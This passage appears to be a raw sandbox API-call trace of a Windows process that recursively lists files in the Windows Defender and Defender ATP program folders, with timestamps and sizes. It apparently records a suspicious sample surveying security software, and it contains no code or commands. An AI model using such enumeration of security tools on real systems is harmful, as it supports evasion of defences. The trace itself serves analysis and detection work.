hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x53a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="mpuxhostproxy.dll", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpUXSrv.exe", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x92ec92b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x137d98, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x999a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MSASCuiL.exe", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x147a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x849e6f2, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x191a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MsMpEng.exe", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x89d596d, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6c9a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MsMpResL.dll", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeda0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="NisLog.dll", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x538f8, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="NisSrv.exe", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="NisWfp.dll", cAlternateFileName="")) returned 1 [0240.797] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a8a2550, ftCreationTime.dwHighDateTime=0x1d5ec68, ftLastAccessTime.dwLowDateTime=0xcf69ff20, ftLastAccessTime.dwHighDateTime=0x1d5b6af, ftLastWriteTime.dwLowDateTime=0xcf69ff20, ftLastWriteTime.dwHighDateTime=0x1d5b6af, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0240.798] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1 [0240.798] GetProcessHeap () returned 0xc10000 [0240.798] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0240.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0240.798] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.798] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a0eddf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a0eddf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a0eddf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0240.798] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x161a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1 [0240.798] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 0 [0240.799] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0240.799] GetProcessHeap () returned 0xc10000 [0240.799] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ProtectionManagement.mof", cAlternateFileName="")) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ProtectionManagement_Uninstall.mof", cAlternateFileName="")) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x505a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1 [0240.799] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="SymSrv.dll", cAlternateFileName="")) returned 1 [0240.800] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="SymSrv.yes", cAlternateFileName="")) returned 1 [0241.077] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 1 [0241.077] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 0 [0241.078] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0241.112] GetProcessHeap () returned 0xc10000 [0241.112] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.113] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xec1abf78, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1abf78, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0241.113] GetProcessHeap () returned 0xc10000 [0241.113] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xec1abf78, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1abf78, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0241.116] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xec1abf78, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1abf78, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.117] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0241.117] GetProcessHeap () returned 0xc10000 [0241.117] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0241.119] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 0 [0241.120] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0241.120] GetProcessHeap () returned 0xc10000 [0241.120] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a439650, ftCreationTime.dwHighDateTime=0x1d5d65d, ftLastAccessTime.dwLowDateTime=0xb51d1c70, ftLastAccessTime.dwHighDateTime=0x1d59e94, ftLastWriteTime.dwLowDateTime=0xb51d1c70, ftLastWriteTime.dwHighDateTime=0x1d59e94, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="lb_community.exe", cAlternateFileName="LB_COM~1.EXE")) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26ea80, ftCreationTime.dwHighDateTime=0x1d5cff7, ftLastAccessTime.dwLowDateTime=0x5db65780, ftLastAccessTime.dwHighDateTime=0x1d59377, ftLastWriteTime.dwLowDateTime=0x5db65780, ftLastWriteTime.dwHighDateTime=0x1d59377, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="negotiations_g_mountains.exe", cAlternateFileName="NEGOTI~1.EXE")) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x201147d0, ftCreationTime.dwHighDateTime=0x1d59eaa, ftLastAccessTime.dwLowDateTime=0x3dd20db0, ftLastAccessTime.dwHighDateTime=0x1d5da76, ftLastWriteTime.dwLowDateTime=0x3dd20db0, ftLastWriteTime.dwHighDateTime=0x1d5da76, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="pending-windsor.exe", cAlternateFileName="PENDIN~1.EXE")) returned 1 [0241.120] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbcad0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="SenseCncProxy.exe", cAlternateFileName="")) returned 1 [0241.121] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="SenseCncPS.dll", cAlternateFileName="")) returned 1 [0241.121] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2fb5a1e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2fb5a1e, 